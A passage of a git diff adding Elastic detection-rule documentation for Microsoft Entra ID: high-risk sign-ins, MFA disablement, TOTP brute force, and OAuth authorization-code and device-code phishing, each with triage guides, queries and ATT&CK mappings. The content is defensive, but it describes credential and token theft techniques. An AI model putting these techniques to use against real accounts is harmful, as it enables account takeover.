+* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 111 + +*Rule authors*: + +* Elastic +* Willem D'Haese + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID High Risk Sign-in* + + +This rule detects high-risk sign-ins in Microsoft Entra ID as identified by Identity Protection. These sign-ins are flagged with a risk level of `high` during the authentication process, indicating a strong likelihood of compromise based on Microsoft’s machine learning and heuristics. This alert is valuable for identifying accounts under active attack or compromise using valid credentials. + + +*Possible investigation steps* + + +- Review the `azure.signinlogs.properties.user_id` and associated identity fields to determine the impacted user. +- Inspect the `risk_level_during_signin` field and confirm it is set to `high`. If `risk_level_aggregated` is also present and high, this suggests sustained risk across multiple sign-ins. +- Check `source.ip`, `source.geo.country_name`, and `source.as.organization.name` to evaluate the origin of the sign-in attempt. Flag unexpected geolocations or ASNs (e.g., anonymizers or residential ISPs). +- Review the `device_detail` fields such as `operating_system` and `browser` for new or unrecognized devices. +- Validate the `client_app_used` (e.g., legacy protocols, desktop clients) and `app_display_name` (e.g., Office 365 Exchange Online) to assess if risky legacy methods were involved. +- Examine `applied_conditional_access_policies` to verify if MFA or blocking policies were triggered or bypassed. +- Check `authentication_details.authentication_method` to see if multi-factor authentication was satisfied (e.g., "Mobile app notification"). +- Correlate this activity with other alerts or sign-ins from the same account within the last 24–48 hours. +- Contact the user to confirm if the sign-in was expected. If not, treat the account as compromised and proceed with containment. + + +*False positive analysis* + + +- Risky sign-ins may be triggered during legitimate travel, VPN use, or remote work scenarios from unusual locations. +- In some cases, users switching devices or networks rapidly may trigger high-risk scores. +- Automated scanners or penetration tests using known credentials may mimic high-risk login behavior. +- Confirm whether the risk was remediated automatically by Microsoft Identity Protection before proceeding with escalations. + + +*Response and remediation* + + +- If compromise is suspected, immediately disable the user account and revoke active sessions and tokens. +- Initiate credential reset and ensure multi-factor authentication is enforced. +- Review audit logs and sign-in history for the account to assess lateral movement or data access post sign-in. +- Inspect activity on services such as Exchange, SharePoint, or Azure resources to understand the impact. +- Determine if the attacker leveraged other accounts or escalated privileges. +- Use the incident findings to refine conditional access policies, such as enforcing MFA for high-risk sign-ins or blocking legacy protocols. +- Review and tighten policies that allow sign-ins from high-risk geographies or unknown devices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs and + ( + azure.signinlogs.properties.risk_level_during_signin:high or + azure.signinlogs.properties.risk_level_aggregated:high + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-high-risk-user-sign-in-heuristic.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-high-risk-user-sign-in-heuristic.asciidoc new file mode 100644 index 0000000000..05f138ebab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-high-risk-user-sign-in-heuristic.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-entra-id-high-risk-user-sign-in-heuristic]] +=== Entra ID High Risk User Sign-in Heuristic + +Identifies high risk Azure Active Directory (AD) sign-ins by leveraging Microsoft Identity Protection machine learning and heuristics. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.signinlogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk#investigation-framework + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 110 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID High Risk User Sign-in Heuristic* + + +Microsoft Identity Protection is an Azure AD security tool that detects various types of identity risks and attacks. + +This rule identifies events produced by the Microsoft Identity Protection with a risk state equal to `confirmedCompromised` or `atRisk`. + + +*Possible investigation steps* + + +- Identify the Risk Detection that triggered the event. A list with descriptions can be found https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#risk-types-and-detection[here]. +- Identify the user account involved and validate whether the suspicious activity is normal for that user. + - Consider the source IP address and geolocation for the involved user account. Do they look normal? + - Consider the device used to sign in. Is it registered and compliant? +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and device conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs and + azure.signinlogs.properties.risk_state:("confirmedCompromised" or "atRisk") and event.outcome:(success or Success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-mfa-disabled-for-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-mfa-disabled-for-user.asciidoc new file mode 100644 index 0000000000..7c38a6187d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-mfa-disabled-for-user.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-entra-id-mfa-disabled-for-user]] +=== Entra ID MFA Disabled for User + +Identifies when multi-factor authentication (MFA) is disabled for an Entra ID user account. An adversary may disable MFA for a user account in order to weaken the authentication requirements for the account. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID MFA Disabled for User* + + +Multi-factor authentication is a process in which users are prompted during the sign-in process for an additional form of identification, such as a code on their cellphone or a fingerprint scan. + +If you only use a password to authenticate a user, it leaves an insecure vector for attack. If the password is weak or has been exposed elsewhere, an attacker could be using it to gain access. When you require a second form of authentication, security is increased because this additional factor isn't something that's easy for an attacker to obtain or duplicate. + +For more information about using MFA in Microsoft Entra ID, access the https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-mfa-howitworks#how-to-enable-and-use-azure-ad-multi-factor-authentication[official documentation]. + +This rule identifies the deactivation of MFA for an Entra ID user account. This modification weakens account security and can lead to the compromise of accounts and other assets. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Correlate with Entra ID Sign-In Logs to identify anomalous sign-in attempts following MFA disablement. +- This rule does not identify if the user was removed from a conditional access policy (CAP) with MFA requirements. + - Instead the rule identifies both legacy and modern MFA disablement through user settings. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- While this activity can be done by administrators, all users must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the user and domain. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate multi-factor authentication for the user. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security defaults https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/concept-fundamentals-security-defaults[provided by Microsoft]. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" and + (azure.auditlogs.operation_name: "Disable Strong Authentication" or + ( + azure.auditlogs.operation_name: "User deleted security info" and + azure.auditlogs.properties.additional_details.key: "AuthenticationMethod" + )) and event.outcome: (Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-mfa-totp-brute-force-attempted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-mfa-totp-brute-force-attempted.asciidoc new file mode 100644 index 0000000000..57301f6358 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-mfa-totp-brute-force-attempted.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-21-entra-id-mfa-totp-brute-force-attempted]] +=== Entra ID MFA TOTP Brute Force Attempted + +Identifies brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. This rule detects high frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attemopt to brute-force TOTP codes by generating several sessions and attempt to guess the correct code. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.oasis.security/resources/blog/oasis-security-research-team-discovers-microsoft-azure-mfa-bypass +* https://learn.microsoft.com/en-us/entra/identity/ +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID MFA TOTP Brute Force Attempted* + + +This rule detects brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. It identifies high-frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attempt to brute-force TOTP codes by generating several sessions and attempting to guess the correct code. + + +*Possible Investigation Steps:* + + + - Check the source addresses associated with the failed TOTP attempts. + - Determine if the source IP address is consistent with the user’s typical login locations. + - Look for unusual geographic patterns or anomalous IP addresses (e.g., proxies, VPNs, or locations outside the user’s normal activity). + - Review the error code associated with the failed attempts. This can help identify if the failures are due to incorrect TOTP codes or other issues. + - Verify that that auth metho reported is `OAth` as it indicates the use of TOTP codes. + - Pivot into signin logs for the target user and check if auth via TOTP was successful which would indicate a successful brute force attempt. + - Review conditional access policies applied to the user or group as reported by the sign-in logs. + - Analyze the client application ID and display name to determine if the attempts are coming from a legitimate application or a potentially malicious script. + - Adversaries may use legitimate FOCI applications to bypass security controls or make login attempts appear legitimate. + - Review the resource ID access is being attempted against such as MyApps, Microsoft Graph, or other resources. This can help identify if the attempts are targeting specific applications or services. + - The correlation IDs or session IDs can be used to trace the authentication attempts across different logs or systems. Note that for this specific behavior, unique session ID count is high and could be challenging to correlate. + + +*False Positive Analysis:* + + + - Verify if the failed attempts could result from the user’s unfamiliarity with TOTP codes or issues with device synchronization. + - Check if the user recently switched MFA methods or devices, which could explain multiple failures. + - Determine if this is whitebox testing or a developer testing MFA integration. + + +*Response and Remediation:* + + + - If proven malicious, lock the affected account temporarily to prevent further unauthorized attempts. + - Notify the user of suspicious activity and validate their access to the account. + - Reset passwords and MFA settings for the affected user to prevent unauthorized access while communicating with the user. + - Ensure conditional access policies are configured to monitor and restrict anomalous login behavior. + - Consider a different MFA method or additional security controls to prevent future bypass attempts. + - Implement additional monitoring to track high-frequency authentication failures across the environment. + - Audit historical logs for similar patterns involving other accounts to identify broader threats. + - Provide guidance on the secure use of MFA and the importance of recognizing and reporting suspicious activity. + + +==== Setup + + + +*Required Entra ID Sign-In Logs* + +This rule requires the Entra ID sign-in logs via the Azure integration be enabled. In Entra ID, sign-in logs must be enabled and streaming to the Event Hub used for the Entra ID logs integration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* metadata _id, _version, _index + +| where + // filter for Entra Sign-in Logs + data_stream.dataset == "azure.signinlogs" + and azure.signinlogs.operation_name == "Sign-in activity" + and azure.signinlogs.properties.user_type == "Member" + + // filter for MFA attempts with OATH conditional access attempts or TOTP + and azure.signinlogs.properties.mfa_detail.auth_method == "OATH verification code" + + // filter on failures only from brute-force attempts + and ( + ( + azure.signinlogs.result_signature == "FAILURE" and + azure.signinlogs.result_description == "Authentication failed during strong authentication request." + ) or azure.signinlogs.properties.status.error_code == 500121 + ) + +| stats + Esql.event_count = count(*), + Esql.azure_signinlogs_properties_session_id_count_distinct = count_distinct(azure.signinlogs.properties.session_id), + Esql.source_address_values = values(source.address), + Esql.azure_tenant_id_valuues = values(azure.tenant_id), + Esql_priv.azure_identity_values = values(azure.signinlogs.identity), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol), + Esql.azure_signinlogs_properties_client_app_used_values = values(azure.signinlogs.properties.client_app_used), + Esql.azure_signinlogs_properties_client_credential_type_values = values(azure.signinlogs.properties.client_credential_type), + Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status), + Esql.azure_signinlogs_properties_correlation_id_values = values(azure.signinlogs.properties.correlation_id), + Esql.azure_signinlogs_properties_is_interactive_values = values(azure.signinlogs.properties.is_interactive), + Esql.azure_signinlogs_properties_mfa_detail_auth_method_values = values(azure.signinlogs.properties.mfa_detail.auth_method), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state), + Esql.azure_signinlogs_properties_risk_detail_values = values(azure.signinlogs.properties.risk_detail), + Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_original_request_id_values = values(azure.signinlogs.properties.original_request_id), + Esql.user_id_values = values(user.id) + by user.id + +| where Esql.event_count >= 20 and Esql.azure_signinlogs_properties_session_id_count_distinct >= 10 + +| keep + Esql.event_count, + Esql.azure_signinlogs_properties_session_id_count_distinct, + Esql.source_address_values, + Esql.azure_tenant_id_valuues, + Esql_priv.azure_identity_values, + Esql_priv.azure_signinlogs_properties_user_principal_name_values, + Esql.azure_signinlogs_properties_app_id_values, + Esql.azure_signinlogs_properties_app_display_name_values, + Esql.azure_signinlogs_properties_authentication_requirement_values, + Esql.azure_signinlogs_properties_authentication_protocol_values, + Esql.azure_signinlogs_properties_client_app_used_values, + Esql.azure_signinlogs_properties_client_credential_type_values, + Esql.azure_signinlogs_properties_conditional_access_status_values, + Esql.azure_signinlogs_properties_correlation_id_values, + Esql.azure_signinlogs_properties_is_interactive_values, + Esql.azure_signinlogs_properties_mfa_detail_auth_method_values, + Esql.azure_signinlogs_properties_resource_display_name_values, + Esql.azure_signinlogs_properties_resource_id_values, + Esql.azure_signinlogs_properties_risk_state_values, + Esql.azure_signinlogs_properties_risk_detail_values, + Esql.azure_signinlogs_properties_status_error_code_values, + Esql.azure_signinlogs_properties_original_request_id_values, + Esql.user_id_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc new file mode 100644 index 0000000000..1bf1a1d740 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-21-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource]] +=== Entra ID OAuth Authorization Code Grant for Unusual User, App, and Resource + +Identifies the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application, target resource, and user principal in Microsoft Entra ID. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing Microsoft Graph or legacy Azure AD are flagged for infrequent or first time usage by a user. Additionally, any FOCI (Family of Client IDs) application accessing the deprecated Windows Azure Active Directory for the first time is flagged since this resource is rarely accessed legitimately. This pattern is indicative of OAuth phishing attacks like ConsentFix, where attackers steal authorization codes and exchange them for tokens from attacker controlled infrastructure. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pushsecurity.com/blog/consentfix +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Authorization Code Grant for Unusual User, App, and Resource* + + +This New Terms rule detects the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application ID, target resource ID, and user principal within the last 14 days. When a user has never used a particular app+resource combination and it involves FOCI applications or legacy Azure AD, this may indicate OAuth phishing attacks like ConsentFix. + +The rule is particularly effective at catching attacks where adversaries use stolen OAuth codes with first-party apps to access resources the victim has never accessed before. For example, if a non-developer suddenly uses Azure CLI to access legacy AAD for the first time, this is highly suspicious regardless of other factors. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name` to identify the affected user and determine if they are a developer who would legitimately use these tools. +- Check `azure.signinlogs.properties.app_display_name` to confirm which application was used. Azure CLI or PowerShell access by non-technical users is suspicious. +- Examine `azure.signinlogs.properties.resource_id` to identify the target resource. Legacy AAD (`00000002-0000-0000-c000-000000000000`) access is unusual for most users. +- Analyze `source.ip` and `source.geo.*` for geographic anomalies. ConsentFix attackers exchange codes from different IPs than the victim. +- Review `azure.signinlogs.properties.is_interactive` - if this is a non-interactive sign-in shortly after an interactive one from a different IP, it indicates token replay. +- Correlate with other sign-in events using `azure.signinlogs.properties.session_id` to identify the full OAuth flow sequence. +- Pivot to `azure.graphactivitylogs` to search for subsequent Graph API or AAD API activity from unusual locations. +- Check `azure.auditlogs` for device registration events around the same timeframe. + + +*False positive analysis* + + +- Developers or IT administrators legitimately using Azure CLI, PowerShell, or VS Code for the first time to access specific resources. +- Users onboarding to new development environments or receiving new tooling. +- Automation scripts that run with user-delegated permissions for the first time. +- Consider the user's role and typical activity patterns when evaluating alerts. + + +*Response and remediation* + + +- Contact the user to confirm if they initiated the OAuth flow and used the detected application. +- If unauthorized, immediately revoke all refresh tokens for the user via Microsoft Entra ID. +- Review recent activity from the same `session_id` for signs of data access or enumeration. +- Block the source IP if confirmed malicious. +- Implement Conditional Access policies to restrict OAuth flows for these applications to compliant devices. +- Educate users about OAuth phishing and the risks of pasting authorization codes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + event.outcome: "success" and + azure.signinlogs.properties.user_type: "Member" and + ( + ( + azure.signinlogs.properties.app_id: ( + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "aebc6443-996d-45c2-90f0-388ff96faa56" or + "1950a258-227b-4e31-a9cf-717495945fc2" + ) and + azure.signinlogs.properties.resource_id: ( + "00000002-0000-0000-c000-000000000000" or + "00000003-0000-0000-c000-000000000000" + ) + ) or + ( + azure.signinlogs.properties.app_id: ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "844cca35-0656-46ce-b636-13f48b0eecbd" or + "87749df4-7ccf-48f8-aa87-704bad0e0e16" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "22098786-6e16-43cc-a27d-191a01a1e3b5" or + "4e291c71-d680-4d0e-9640-0a3358e31177" or + "57336123-6e14-4acc-8dcf-287b6088aa28" or + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or + "66375f6b-983f-4c2c-9701-d680650f588f" or + "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a569458c-7f2b-45cb-bab9-b7dee514d112" or + "b26aadf8-566f-4478-926f-589f601d9c74" or + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "eb539595-3fe1-474e-9c1d-feb3625d1be5" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "be1918be-3fe3-4be9-b32b-b542fc27f02e" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) and + azure.signinlogs.properties.resource_id: "00000002-0000-0000-c000-000000000000" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc new file mode 100644 index 0000000000..2b59fa5d4d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-21-entra-id-oauth-device-code-flow-with-concurrent-sign-ins]] +=== Entra ID OAuth Device Code Flow with Concurrent Sign-ins + +Identifies Entra ID device code authentication flows where multiple user agents are observed within the same session. This pattern is indicative of device code phishing, where an attacker's polling client (e.g., Python script) and the victim's browser both appear in the same authentication session. In legitimate device code flows, the user authenticates via browser while the requesting application polls for tokens - when these have distinctly different user agents (e.g., Python Requests vs Chrome), it may indicate the code was phished and redeemed by an attacker. + +*Rule type*: esql + 